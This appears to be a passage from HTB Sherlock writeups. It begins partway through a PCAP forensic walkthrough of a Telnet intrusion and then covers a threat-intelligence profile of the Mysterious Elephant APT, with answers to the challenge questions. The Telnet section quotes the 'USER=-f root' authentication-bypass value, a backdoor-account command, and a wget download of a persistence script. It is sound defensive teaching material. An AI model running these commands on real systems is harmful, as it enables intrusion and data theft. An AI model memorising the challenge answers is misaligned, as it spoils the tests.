| **192.168.72.131 : 34910** | **192.168.72.136 : 23** | **6,363** | **515 KB** | **14m 32s** |
| 192.168.72.136 : 47564 | 91.99.25.54 : 59 | 2,672 | 158 KB | 8m 18s |
| 142.250.202.78 : 443 | 192.168.72.135 : 52654 | 475 | 2.3 MB | 0.9s |
Now the picture becomes clear. `192.168.72.131` is on the other end of the Telnet session - it is
the machine that connected to port 23 on the backup server. The 515 KB exchanged over 14 and a
half minutes is the fingerprint of an interactive session: a human typing commands and reading
output, not a tool firing automated requests. The `91.99.25.54` conversation is on port 59, an
unusual port, starting after the Telnet session is already underway. Its 8-minute duration with
steady low-volume traffic is characteristic of a C2 heartbeat rather than a data transfer.
**What this pattern means:** One machine opened a 14-minute interactive Telnet session to the
backup server, and during that session the backup server began making outbound connections to an
unknown external IP on a non-standard port. This sequence (interactive access followed by outbound
callbacks) is a classic post-exploitation pattern.
***
### Step 3 - Follow the Telnet Stream: What did the attacker do?
Right-click any packet with port 23 and select `Follow > TCP Stream`. Because Telnet transmits
everything in plaintext - commands, output, credentials - the entire session is readable as text.
**Filter to isolate Telnet traffic first:**
```
tcp.port == 23
```
Reading the stream from the beginning, the very first thing sent by `192.168.72.131` is not a
username or a password. It's a block of setup data. When a Telnet client connects, before any
login prompt appears, both sides exchange a series of configuration options: things like the
terminal type, screen dimensions, and environment variables. This handshake is called option
negotiation, and it happens automatically in the background before you ever see a shell.
One of the variables the client sends during this handshake is `USER`, the username the client
wants to log in as. In the stream, that value reads:
```
USER → -f root
```
That is not a username. `-f root` is a command-line argument. What's happening here is that the
client is deliberately setting `USER` to a value that looks like a flag rather than a name. On
vulnerable versions of `telnetd` (GNU InetUtils ≤ 2.7), the server takes whatever value `USER`
contains and passes it directly to the system's login program as part of the command it runs,
without checking whether it's a real username or something else entirely. The login program then
receives `login -f root`, where `-f` means "skip authentication, this user has already been
verified." The server grants root access with no password prompt.
At this point you have enough to identify the vulnerability. You don't need to know the CVE number
off the top of your head. Searching for the observed behavior is enough. A query like
`telnetd USER "-f root" authentication bypass` or `GNU InetUtils telnetd argument injection` will
surface CVE-2026-24061 immediately. This is a good general habit: when you observe an anomalous
mechanism in a PCAP, describe it in plain terms and search for it. The CVE database and security
blogs will connect the behavior to the identifier. This is **CVE-2026-24061**.
The server's response confirms the bypass worked. There is no login prompt. No password challenge.
Within milliseconds of the `USER=-f root` packet, the server sends back the Ubuntu MOTD:
```
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)
System information as of Tue Jan 27 10:39:28 UTC 2026
```
Immediately followed by a root shell prompt:
```
root@backup-secondary:~#
```
From this point the entire attacker session is visible verbatim in the stream - every command
typed, every output line returned. Scrolling through reveals the full post-exploitation chain:
account creation, shadow file reads, filesystem enumeration, downloading a persistence script from
GitHub, a Python HTTP server being started from `/opt`, and finally the database file being
requested and served.
***
### Step 4 - Identify the Exfiltration: What left the network?
The Telnet stream shows the attacker starting a Python HTTP server:
```
Serving HTTP on 0.0.0.0 port 6932 (http://0.0.0.0:6932/) ...
```
The server's access log output, visible in the same stream, records every file request. To confirm
the transfer independently, apply:
```
tcp.port == 6932
```
This shows the HTTP conversation between `192.168.72.131` and `192.168.72.136:6932`, confirming
that a file was downloaded from the backup server by the attacker's machine.
***
### Step 5 - Identify the C2: What called back after the session?
The `91.99.25.54:59` conversation began at `10:48:01` - about three minutes after the attacker
ran `linper.sh`, the Linux persistence toolkit downloaded during the session. Apply:
```
ip.addr == 91.99.25.54
```
The callbacks run from `10:48:01` to `10:56:20`, continuing even after the Telnet session closes
at `10:54:00`. This confirms the persistence implant is running independently of the attacker's
interactive session - it has its own channel home.
***
### Methodology Summary
Every time you open an unknown PCAP, follow this sequence:
1. **Protocol Hierarchy** tells you *what kind of machine* this is and what stands out
2. **Endpoints** tell you *who's suspicious* (disproportionate traffic volume, unknown external IPs)
3. **Conversations** tell you *how* the traffic is structured (ports, duration, timing)
4. **Follow the dominant stream** tells you *what actually happened* - in this case, Follow TCP
Stream on the Telnet session reveals the entire attack in plaintext
5. **Build protocol-specific filters** to confirm each event independently (port 6932 for
exfiltration, `ip.addr == 91.99.25.54` for C2)
6. **Cross-reference timestamps** to connect activity into a single timeline and establish sequence
Each step narrows your focus. You go from "I have 23,000 packets" to a complete narrative of the
attack - and in a Telnet investigation, the stream itself is the narrative.
***
## Attack Timeline
| Time (UTC) | Event | Source |
| ---------- | -------------------------------------------------------------------------------- | ------------- |
| `10:39:24` | TCP connection established from `192.168.72.131:34910` to `192.168.72.136:23` | PCAP |
| `10:39:28` | CVE-2026-24061 exploit payload sent: `USER=-f root` via NEW\_ENVIRON negotiation | Telnet stream |
| `10:39:28` | Ubuntu MOTD returned, root shell granted with no login prompt | Telnet stream |
| `10:42:56` | Backdoor account created: `cleanupsvc` with password `YouKnowWhoiam69` | Telnet stream |
| `10:43:04` | `/etc/shadow` read, password hashes harvested | Telnet stream |
| `10:43:19` | Filesystem enumeration across `/`, `/media`, `/dev`, `/opt`, `/tmp` | Telnet stream |
| `10:44:29` | `wget` issued to download `linper.sh` from GitHub | Telnet stream |
| `10:44:32` | `linper.sh` downloaded successfully (33.45 KB) | Telnet stream |
| `10:45:15` | `bash linper.sh --enum-defenses` executed, attacker surveys security posture | Telnet stream |
| `10:48:01` | C2 callbacks begin, victim connects to `91.99.25.54:59` | PCAP |
| `10:49:27` | Python HTTP server started on victim at port 6932, serving from `/opt` | Telnet stream |
| `10:49:52` | Attacker browses HTTP server root, enumerates available files | Telnet stream |
| `10:49:54` | **Database exfiltrated**: `GET /credit-cards-25-blackfriday.db` served, HTTP 200 | Telnet stream |
| `10:54:00` | Telnet session closes | PCAP |
| `10:56:20` | C2 callbacks cease | PCAP |
***
## Questions & Answers
### Task 1: What CVE is associated with the vulnerability exploited in the Telnet protocol?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 23`
Start by applying the Telnet filter and scrolling through the packet list. The early packets are
mostly small (TCP handshake, option negotiation) but around packet 52 something stands out: a
packet from the attacker that carries a `USER` environment variable set to the value `-f root`.
That is not a valid username. A flag being passed where a username should be is immediately
suspicious and worth investigating further.
Follow the TCP stream (`Right-click > Follow > TCP Stream`) to read the full exchange in both
directions. The server sends no login prompt and no password challenge, just the Ubuntu MOTD
followed by a root shell. The attacker authenticated as root without providing any credentials.
At this point you have a clear description of the mechanism: a specific environment variable
(`USER`) being set to an argument value (`-f root`) that bypasses authentication in the Telnet
daemon. You don't need to already know the CVE. Describe what you see and search for it. Good
search queries here would be:
* `telnetd USER -f root authentication bypass`
* `GNU InetUtils telnetd argument injection 2026`
* `telnetd environment variable login bypass CVE`
Any of these lead directly to CVE-2026-24061, a critical flaw in GNU InetUtils `telnetd` ≤ 2.7
disclosed in January 2026. This search-from-observation approach works for any unknown
vulnerability you encounter in a PCAP: describe the mechanism, not the name.
> **Answer:** `CVE-2026-24061`
***
### Task 2: When was the Telnet vulnerability successfully exploited, granting the attacker remote root access on the target machine?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 23 && tcp.len > 100`
Still in the Telnet TCP stream, the packet immediately following the `USER=-f root` injection is the
server's response. Rather than a login prompt or an authentication failure, the server sends the
Ubuntu MOTD banner, confirming the bypass worked:
```
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)
System information as of Tue Jan 27 10:39:28 UTC 2026
```
The timestamp on this packet in Wireshark is `10:39:28`. The very next packet from the server
delivers the root shell prompt `root@backup-secondary:~#`. No credential exchange occurred at any
point.
> **Answer:** `2026-01-27 10:39:28`
***
### Task 3: What is the hostname of the targeted server?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 23`
The hostname appears in two places within the Telnet stream, neither of which requires additional
filtering. First, in the kernel identification line sent during Telnet option negotiation:
```
Linux 6.8.0-90-generic (backup-secondary) (pts/1)
```
Second, in every shell prompt throughout the attacker's session:
```
root@backup-secondary:~#
```
It is also visible in DNS traffic. Applying `dns` shows an A record query for
`backup-secondary.localdomain` during the session.
> **Answer:** `backup-secondary`
***
### Task 4: The attacker created a backdoor account to maintain future access. What username and password were set for that account?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 23 && frame.time >= "2026-01-27 10:42:00"`
Scrolling through the Telnet stream at `10:42:56`, the attacker pastes a compound command:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sudo useradd -m -s /bin/bash cleanupsvc; echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd
```
Both the username and the password are transmitted in cleartext through the Telnet session.
Seconds later the attacker reads `/etc/shadow`; the output is also visible in the stream,
confirming the new account entry for `cleanupsvc` was written successfully.
> **Answer:** `cleanupsvc:YouKnowWhoiam69`
***
### Task 5: What was the full command the attacker used to download the persistence script?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 23 && frame.time >= "2026-01-27 10:44:00"`
At `10:44:29` the following command appears in the Telnet stream:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
wget https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh
```
The wget download progress output is immediately visible in the stream, resolving
`raw.githubusercontent.com` to `185.199.108.133` and completing at `10:44:32`:
```
2026-01-27 10:44:32 (2.69 MB/s) - 'linper.sh' saved [34249/34249]
```
`linper.sh` is a Linux persistence toolkit from the public `montysecurity/linper` repository on
GitHub. After downloading, the attacker runs it with `--enum-defenses` to survey the environment
before executing the full persistence installation.
> **Answer:** `wget https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh`
***
### Task 6: The attacker installed remote access persistence using the persistence script. What is the C2 IP address?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `ip.addr == 91.99.25.54`
In `Statistics > Endpoints > IPv4`, the IP `91.99.25.54` stands out as an external address
generating 2,672 packets with the victim server. Applying the filter above and switching to the
Conversations view shows a cluster of TCP connections from `192.168.72.136` to `91.99.25.54:59`
beginning at `10:48:01`, approximately three minutes after `linper.sh` was executed. The
connections continue through `10:56:20`, well past the end of the Telnet session at `10:54:00`,
confirming the implant is running autonomously.
Port 59 is an unusual choice. It is officially assigned to a long-defunct protocol, making it
a practical evasion choice for C2 traffic that might otherwise be filtered at port 80 or 443.
> **Answer:** `91.99.25.54`
***
### Task 7: The attacker exfiltrated a sensitive database file. At what time was this file exfiltrated?
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 6932`
At `10:49:27` the Telnet stream shows the attacker starting a Python HTTP server from `/opt` on the
victim machine:
```
Serving HTTP on 0.0.0.0 port 6932 (http://0.0.0.0:6932/) ...
```
The server's access log output echoes back through the Telnet session in real time. At `10:49:54`
the following line appears:
```
192.168.72.131 - - [27/Jan/2026 10:49:54] "GET /credit-cards-25-blackfriday.db HTTP/1.1" 200 -
```
Applying `tcp.port == 6932` in Wireshark confirms the HTTP transfer independently of the Telnet
stream; the GET request and the 200 response are both visible as separate TCP packets.
> **Answer:** `2026-01-27 10:49:54`
***
### Task 8: Analyze the exfiltrated database. To follow compliance requirements, the breached organization needs to notify its customers. For data validation purposes, find the credit card number for a customer named Quinn Harris.
**PCAP:** `monitoringservice_export_202610AM-11AM.pcapng`\
**Filter:** `tcp.port == 6932`
The database file `credit-cards-25-blackfriday.db` was transferred over HTTP port 6932. Export it
via `File > Export Objects > HTTP`, locate the response for the GET request to
`/credit-cards-25-blackfriday.db`, and save it. The file is a SQLite database and can be opened
with any SQLite browser or queried directly:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sqlite3 credit-cards-25-blackfriday.db
sqlite> SELECT * FROM customers WHERE name LIKE '%Quinn Harris%';
```
> **Answer:** `5312269047781209`
***
## Key Wireshark Filters Reference
| Purpose | Display Filter |
| ---------------------------------------- | ------------------------------------------------------- |
| Isolate all Telnet traffic | `tcp.port == 23` |
| Find the exploit payload packet | `tcp.port == 23 && tcp.len > 100` |
| Jump to post-exploitation commands | `tcp.port == 23 && frame.time >= "2026-01-27 10:42:00"` |
| Show all C2 traffic | `ip.addr == 91.99.25.54` |
| Show C2 callbacks on port 59 | `tcp.port == 59` |
| Find the HTTP exfiltration traffic | `tcp.port == 6932` |
| Show DNS queries (hostname confirmation) | `dns` |
| View all attacker traffic | `ip.addr == 192.168.72.131` |
| View all victim traffic | `ip.addr == 192.168.72.136` |
***
## Network Topology
```
Attacker (192.168.72.131) — Kali Linux
|
| Telnet port 23 (CVE-2026-24061 — cleartext, no authentication)
v
Backup Server (192.168.72.136) — Ubuntu 24.04.3 LTS
hostname: backup-secondary
telnetd: GNU InetUtils ≤ 2.7 (vulnerable)
|
|--- TCP port 59 ---------> C2 Server (91.99.25.54)
| linper.sh persistence callbacks
|
|<-- HTTP port 6932 ------- Attacker pulls credit-cards-25-blackfriday.db
```
***
## MITRE ATT\&CK Mapping
| Phase | Technique ID | Technique Name | Evidence |
| ----------------- | ------------ | --------------------------------------------- | -------------------------------------------------------------------- |
| Initial Access | T1190 | Exploit Public-Facing Application | CVE-2026-24061 against exposed `telnetd` on `backup-secondary` |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Interactive root shell obtained via Telnet post-exploitation |
| Persistence | T1136.001 | Create Account: Local Account | `cleanupsvc` user created via `useradd`, password set via `chpasswd` |
| Persistence | T1505 | Server Software Component | `linper.sh` installed as persistence mechanism with C2 callback |
| Command & Control | T1095 | Non-Application Layer Protocol | C2 callbacks to `91.99.25.54:59` over raw TCP |
| Discovery | T1083 | File and Directory Discovery | Attacker enumerated `/`, `/media`, `/dev`, `/opt`, `/tmp` |
| Credential Access | T1003.008 | OS Credential Dumping: /etc/shadow | `/etc/shadow` read to harvest password hashes |
| Collection | T1005 | Data from Local System | `credit-cards-25-blackfriday.db` identified and staged in `/opt` |
| Exfiltration | T1048.003 | Exfiltration Over Unencrypted Non-C2 Protocol | Database downloaded via Python HTTP server on port 6932 |
***
## Skills Learned
* PCAP triage methodology: using Protocol Hierarchy and Conversations to identify the dominant
threat before reading any individual packets
* Telnet stream forensics: using Follow TCP Stream to reconstruct a complete attacker session in
plaintext, including the exploit payload, commands, and server output
* CVE-2026-24061: how a `USER=-f root` argument injection bypasses GNU InetUtils `telnetd`
authentication entirely
* Identifying C2 infrastructure from anomalous external IPs in the Endpoints view
* Reconstructing data exfiltration from HTTP access log entries echoed inside a Telnet stream
* Exporting and querying a SQLite database recovered from a PCAP via Wireshark's Export Objects
* MITRE ATT\&CK mapping from network evidence alone, without any host-based artifacts
* Why Telnet must never be exposed: credentials, commands, file contents, and exploit payloads are
all transmitted in cleartext and permanently recorded in any network capture
# FortySeven-1
Source: https://writeups.dudji.com/sherlocks/threat-intelligence/fortyseven-1
HTB Sherlock FortySeven-1 threat intelligence writeup.
# FortySeven-1 - HTB Sherlock Writeup (DFIR / Threat Intelligence)
## Challenge Description
> An APT group is using Hajj-themed phishing lures to target and steal WhatsApp data from
> government and diplomatic officials. Our team has gathered fragmented intelligence from public
> cybersecurity vendor reports, blog posts, and internal security alerts. Your task is to build a
> comprehensive profile of the threat actor responsible. You must connect the dots between different
> reports to answer questions about their identity, tools, and motives.
**Difficulty:** Very Easy\
**Category:** DFIR / Threat Intelligence\
**Evidence Files:**
* Evidence 1 — `https://securelist.com/mysterious-elephant-apt-ttps-and-tools/117596/` (Kaspersky GReAT)
* Evidence 2 — `https://medium.com/@knownsec404team/apt-k-47-mysterious-elephant-a-new-apt-organization-in-south-asia-5c66f954477` (Knownsec 404 Team)
* Evidence 3 — `https://medium.com/@knownsec404team/unveiling-the-past-and-present-of-apt-k-47-weapon-asyncshell-5a98f75c2d68` (Knownsec 404 Team)
***
## Initial Analysis Methodology
This Sherlock is different from PCAP or log-based investigations — there are no artifacts to parse
or packets to follow. Instead, you are given three threat intelligence reports from two vendors
(Kaspersky and Knownsec 404 Team) and asked to build a profile of a threat actor by reading and
cross-referencing them.
The methodology here is **source-first, question-second**: rather than jumping straight to the
tasks, read each report top to bottom first and build a mental map of the actor. Each report covers
a different time period and angle — Knownsec published first and named the group, while Kaspersky's
later report covers the evolved 2025 campaign and tooling. Evidence 3 bridges the gap with a
timeline of a specific weapon's evolution.
***
### Step 1 — Establish Who This Is: Naming and Attribution
The first thing to resolve in any threat intelligence investigation is the naming problem. APT
groups are often tracked under different names by different vendors simultaneously. This actor is a
clear example:
| Vendor | Name Used |
| ------------ | ------------------- |
| Kaspersky | Mysterious Elephant |
| Knownsec 404 | APT-K-47 |
Both vendors describe the same group. Knownsec 404 was the first to publish a detailed analysis
(August 2023) and named the group APT-K-47. Kaspersky independently tracked the same actor,
naming them Mysterious Elephant. When the Kaspersky Q2 2023 APT trends report mentioned a new
group targeting Pakistan, Knownsec cross-referenced it against their own findings and confirmed
the two were the same actor.
The group is presumed to originate in South Asia. Its primary targets are government entities and
foreign affairs sectors in Pakistan, Bangladesh, Afghanistan, Nepal, and Sri Lanka.
***
### Step 2 — Establish the Timeline: When Did This Start?
Evidence 3 (Asyncshell report) is the clearest source for the group's earliest confirmed activity.
Knownsec 404 states the group's attack activity dates back to 2022. Evidence 2 corroborates this,
noting that the earliest ORPCBackdoor samples were compiled in February and March 2022.
The group was not publicly identified until 2023, meaning they operated for approximately a year
before being discovered.
***
### Step 3 — Map the Toolset: What Do They Use?
The three reports between them describe a fairly large custom toolset. It helps to organise these
by function:
| Tool | Type | Source |
| --------------------- | ------------------------ | ---------- |
| ORPCBackdoor | Backdoor (RPC-based) | Evidence 2 |
| Asyncshell (v1–v4) | Shell backdoor | Evidence 3 |
| BabShell | Reverse shell | Evidence 1 |
| MemLoader HidenDesk | Reflective PE loader | Evidence 1 |
| MemLoader Edge | Loader (VRat) | Evidence 1 |
| Uplo Exfiltrator | Data exfiltration | Evidence 1 |
| Stom Exfiltrator | Data exfiltration | Evidence 1 |
| ChromeStealer Exfilt. | Chrome/WhatsApp theft | Evidence 1 |
| Vtyrei | Downloader (early chain) | Evidence 1 |
***
### Step 4 — Understand the Connections: Attribution and Overlap
One of the more challenging aspects of South Asian APT attribution is the significant cross-
contamination of tools and tactics between groups. The reports consistently note that Mysterious
Elephant's code overlaps with Confucius, Origami Elephant, SideWinder, and Bitter. The ORPCBackdoor
in particular was initially attributed to Bitter before Knownsec traced it to a distinct actor.
The link to Bitter is the most significant for this challenge: the ORPCBackdoor was originally
identified in Bitter's infrastructure, and its CHM delivery chain and code structure are nearly
identical to Bitter's. This overlap is what connects Mysterious Elephant to the broader South Asian
APT ecosystem.
***
### Methodology Summary
1. **Identify the actor** — resolve naming differences across vendors before answering anything else
2. **Anchor the timeline** — find the earliest confirmed activity date across all sources
3. **Map the toolset** — organise tools by function and source so you can quickly look up details
4. **Trace the connections** — understand which tools link this actor to other known groups
5. **Read the malware sections carefully** — specific technical details (export functions, file
names, process thresholds, desktop names) are buried in the analysis sections and are easy to
miss on a first pass
***
## Attack Timeline
| Period | Event | Source |
| -------------- | ------------------------------------------------------------------------------------------------ | ---------- |
| Early 2022 | Earliest confirmed attack activity — ORPCBackdoor samples compiled | Evidence 2 |
| 2023 | Group first publicly identified by Kaspersky (Q2 APT report); Knownsec publishes APT-K-47 report | Evidence 2 |
| September 2023 | Earliest estimated delivery of Asyncshell-v1 | Evidence 3 |
| January 2024 | Asyncshell-v1 discovered exploiting CVE-2023-38831 in malicious archive | Evidence 3 |
| March 2024 | First observed use of CHM to deliver Asyncshell | Evidence 3 |
| April 2024 | Asyncshell-v2 introduced — C2 communication switches from TCP to HTTPS | Evidence 3 |
| July 2024 | Asyncshell-v3 discovered — C2 decrypted from external file | Evidence 3 |
| Late 2024 | Asyncshell-v4 discovered using Hajj-themed lure; variant base64 and web-service-disguised C2 | Evidence 3 |
| Early 2025 | Kaspersky documents latest campaign — BabShell, MemLoader, and WhatsApp exfiltration tools | Evidence 1 |
***
## Questions & Answers
### Task 1: What is the primary name of the APT group described in the SecureList report?
**Source:** Evidence 1 — Kaspersky SecureList\
**Where to look:** Title and introduction of the Kaspersky report
The Kaspersky GReAT report is titled "Mysterious Elephant APT: TTPs and tools." The group is
introduced as a highly active APT discovered by Kaspersky in 2023. The alternate designation
APT-K-47 comes from Knownsec 404, not Kaspersky — the question specifically asks for the name in
the SecureList report.
> **Answer:** `Mysterious Elephant`
***
### Task 2: According to the Knownsec 404 team's analysis (Evidence 3), since which year has this group's attack activity been dated back to?
**Source:** Evidence 3 — Knownsec 404 Asyncshell report\
**Where to look:** Background section (Section 2)
Evidence 3 states: "The organization is presumed to have originated in the South Asian region, and
its attack activities date back as far as 2022." Evidence 2 further confirms this with sample
compilation timestamps from February and March 2022.
> **Answer:** `2022`
***
### Task 3: The group uses a custom backdoor that communicates via Office Remote Procedure Call (ORPCBackdoor). According to the Knownsec 404 team's analysis (Evidence 2), what is the name of the first malicious exported entry function?
**Source:** Evidence 2 — Knownsec 404 APT-K-47 report\
**Where to look:** Section 3 — ORPCBackdoor description
ORPCBackdoor masquerades as a legitimate Windows `version.dll` file and exports 17 functions to
blend in. Of these, only two are malicious. The report explicitly states: "There are two malicious
entries of ORPCBackdoor, the first is `GetFileVersionInfoByHandleEx(void)` export function, second
place is `DllEntryPoint`."
The other 15 export functions are legitimate-looking names lifted from the real `version.dll`
(e.g. `GetFileVersionInfoA`, `VerQueryValueW`) to avoid suspicion during basic inspection.
> **Answer:** `GetFileVersionInfoByHandleEx(void)`
***
### Task 4: The previously mentioned backdoor checks for a file before creating persistence. What is the name of the file?
**Source:** Evidence 2 — Knownsec 404 APT-K-47 report\
**Where to look:** Section 3.1.1 — Persistence subsection
Before creating a scheduled persistence task, ORPCBackdoor checks whether `ts.dat` already exists
in the same path. If it does, the backdoor skips the persistence step to avoid creating duplicate
scheduled tasks. If it does not, the backdoor creates the task (named "Microsoft Update" via COM
TaskScheduler) and then creates `ts.dat` as a marker to prevent re-running.
> **Answer:** `ts.dat`
***
### Task 5: The use of the backdoor links the APT to another well-known South Asian APT group. What is the name of this other group?
**Source:** Evidence 2 — Knownsec 404 APT-K-47 report\
**Where to look:** Section 2 — Homology analysis, and Section 3.1.1 introduction
The homology analysis in Evidence 2 compares the CHM file structure and `doc.htm` code logic
between Mysterious Elephant and Bitter, finding them "almost the same in terms of code logic,
functions and evasion techniques." The report notes that the ORPCBackdoor was first found on
network assets used by the Bitter organisation, and that the two groups share significant
infrastructure overlap. Kaspersky's Evidence 1 also references "Bitter" as one of the groups whose
code appears in Mysterious Elephant's malware.
> **Answer:** `Bitter`
***
### Task 6: The APT group we are currently investigating has consistently used and updated another backdoor since 2023, with its C2 communication evolving from TCP to HTTPS. What is the name of this tool?
**Source:** Evidence 3 — Knownsec 404 Asyncshell report\
**Where to look:** Section 4.3 — The transition from TCP to HTTPS
Evidence 3 documents four versions of Asyncshell. The key transition described in Section 4.3 is
the shift from TCP to HTTPS C2 communication, which occurred in April 2024 and resulted in the
version being labelled Asyncshell-v2. The question asks for the name of the tool that underwent
this evolution — which is Asyncshell-v2 specifically, as that is the version where the TCP-to-HTTPS
change occurred.
> **Answer:** `Asyncshell-v2`
***
### Task 7: To evade sandbox analysis, the MemLoader HidenDesk tool checks the number of active processes before running. What is the minimum number of processes required for it to proceed?
**Source:** Evidence 1 — Kaspersky SecureList\
**Where to look:** Customized open-source tools section — MemLoader HidenDesk
The Kaspersky report describes MemLoader HidenDesk's sandbox evasion technique: "The malware
checks the number of active processes and terminates itself if there are fewer than 40 processes
running." The logic is that a real user's machine will have many processes running, while a sandbox
environment typically runs only a minimal set. If the process count is below the threshold, the
malware assumes it is being analysed and exits.
> **Answer:** `40`
***
### Task 8: The MemLoader HidenDesk tool creates a covert environment for its activities by creating and switching to a specific environment. What is the name of this hidden desktop?
**Source:** Evidence 1 — Kaspersky SecureList\
**Where to look:** Customized open-source tools section — MemLoader HidenDesk, step 3
After passing the process count check, MemLoader HidenDesk creates a hidden Windows desktop object
and switches to it before executing its payload. The Kaspersky report names this desktop explicitly:
`MalwareTech_Hidden`. The technique is borrowed from an open-source project on GitHub. By switching
to a hidden desktop, the malware's activity is invisible to any user watching the screen.
> **Answer:** `MalwareTech_Hidden`
***
### Task 9: The MemLoader HidenDesk tool achieves persistence by placing a shortcut in the autostart folder to ensure it runs after a system reboot. What is the MITRE ATT\&CK ID for the 'Registry Run Keys / Startup Folder' technique?
**Source:** Evidence 1 — Kaspersky SecureList / MITRE ATT\&CK framework\
**Where to look:** MemLoader HidenDesk description, step 2
The Kaspersky report confirms that MemLoader HidenDesk "creates a shortcut to its executable and
saves it in the autostart folder, ensuring it can restart itself after a system reboot." This
behaviour maps directly to the MITRE ATT\&CK technique T1547.001 — Boot or Logon Autostart
Execution: Registry Run Keys / Startup Folder — which covers adversaries adding entries to startup
folders to maintain persistence across reboots.
> **Answer:** `T1547.001`
***
### Task 10: The actor uses several custom exfiltration tools targeting WhatsApp. What is the name of the tool that recursively searches specific directories, including the "Desktop" and "Downloads" folders?
**Source:** Evidence 1 — Kaspersky SecureList\
**Where to look:** WhatsApp-specific exfiltration tools section — Stom Exfiltrator
The Kaspersky report describes three exfiltration tools. The Stom Exfiltrator is specifically
described as a tool that "recursively searches specific directories, including the 'Desktop' and
'Downloads' folders, as well as all drives except the C drive." Its latest variant also targets
WhatsApp files via a hardcoded AppData path. The other exfiltration tools — Uplo Exfiltrator and
ChromeStealer Exfiltrator — do not mention Desktop and Downloads folders in the same way.
> **Answer:** `Stom Exfiltrator`
***
### Task 11: Kaspersky's analysis highlights the actor's heavy use of scripts for execution and deploying payloads. What is the MITRE ATT\&CK ID for the 'PowerShell' technique?
**Source:** Evidence 1 — Kaspersky SecureList / MITRE ATT\&CK framework\
**Where to look:** PowerShell scripts section
The Kaspersky report dedicates a section to describing how Mysterious Elephant uses PowerShell
scripts to "execute commands, deploy additional payloads, and establish persistence," including
scheduling tasks and downloading next-stage payloads via `curl` and `certutil`. This behaviour maps
to MITRE ATT\&CK T1059.001 — Command and Scripting Interpreter: PowerShell.
> **Answer:** `T1059.001`
***
### Task 12: In their early attack chains, Mysterious Elephant used a downloader that was previously associated with the Origami Elephant group. What was the name of this downloader?
**Source:** Evidence 1 — Kaspersky SecureList\
**Where to look:** The emergence of Mysterious Elephant section
The Kaspersky report explains that Mysterious Elephant's early attack chains "featured distinctive
elements, such as remote template injections and exploitation of CVE-2017-11882, followed by the
use of a downloader called 'Vtyrei', which was previously connected to Origami Elephant and later
abandoned by this group." Mysterious Elephant adopted Vtyrei after Origami Elephant stopped using
it, continuing to maintain and develop tools that other groups had abandoned.
> **Answer:** `Vtyrei`
***
### Task 13: In a January 2024 campaign delivering an Asyncshell payload, which CVE was exploited in the malicious archive file?
**Source:** Evidence 3 — Knownsec 404 Asyncshell report\
**Where to look:** Section 4.1 — Discover Asyncshell for the first time
Evidence 3 documents that when Asyncshell-v1 was first discovered in January 2024, it was
delivered via "a malicious sample exploiting the CVE-2023-38831 vulnerability." CVE-2023-38831 is
a vulnerability in WinRAR that allows attackers to execute arbitrary code when a victim opens a
specially crafted archive. This was an actively exploited vulnerability used by multiple threat
actors around this period.
> **Answer:** `CVE-2023-38831`
***
### Task 14: What is the MD5 hash of the ChromeStealer Exfiltrator sample named WhatsAppOB.exe?
**Source:** Evidence 1 — Kaspersky SecureList\
**Where to look:** Indicators of Compromise section — File hashes — ChromeStealer Exfiltrator
The Kaspersky report includes a full indicators of compromise (IoC) section at the end. Under the
ChromeStealer Exfiltrator heading, one sample is listed with a specific filename:
```
9e50adb6107067ff0bab73307f5499b6 WhatsAppOB.exe
```
> **Answer:** `9e50adb6107067ff0bab73307f5499b6`
***
### Task 15: The intelligence describes multiple custom tools designed to upload stolen data to the actor's servers. According to the MITRE ATT\&CK framework, what is the ID for the 'Exfiltration Over C2 Channel' technique?
**Source:** Evidence 1 — Kaspersky SecureList / MITRE ATT\&CK framework\
**Where to look:** WhatsApp-specific exfiltration tools section
All three exfiltration tools described by Kaspersky (Uplo Exfiltrator, Stom Exfiltrator,
ChromeStealer Exfiltrator) upload stolen data directly to the attacker's C2 servers rather than
using a separate exfiltration channel. This maps to MITRE ATT\&CK T1041 — Exfiltration Over C2
Channel, which covers adversaries stealing data by transmitting it through an existing C2
communications channel.
> **Answer:** `T1041`
***
## Threat Actor Profile Summary
| Attribute | Detail |
| --------------------- | ----------------------------------------------------------------------------------------- |
| Primary name | Mysterious Elephant |
| Alternate designation | APT-K-47 |
| First identified | 2023 (Kaspersky Q2 report; Knownsec 404 August 2023) |
| Earliest activity | 2022 |
| Presumed origin | South Asia |
| Primary targets | Government and diplomatic entities in Pakistan, Bangladesh, Afghanistan, Nepal, Sri Lanka |
| Initial access | Spear phishing with CHM, RTF, and malicious archive files |
| Key themes used | Hajj, Pakistan UN Security Council bids, civil servant pay |
| Related groups | Bitter, Confucius, Origami Elephant, SideWinder |
| Signature backdoors | ORPCBackdoor, Asyncshell (v1–v4), BabShell |
| Exfiltration focus | WhatsApp data, Chrome browser tokens, documents, archives |
***
## MITRE ATT\&CK Mapping
| Phase | Technique ID | Technique Name | Evidence |
| --------------- | ------------ | --------------------------------------------- | -------------------------------------------------------------- |
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | CHM, RTF, and archive files delivered via spear phishing |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | PowerShell scripts used throughout attack chains |
| Persistence | T1547.001 | Boot or Logon Autostart: Startup Folder | MemLoader HidenDesk shortcut in autostart folder |
| Defense Evasion | T1574.002 | DLL Side-Loading | ORPCBackdoor masquerades as version.dll; loaded via white file |
| Collection | T1005 | Data from Local System | Exfiltrators recursively search local directories |
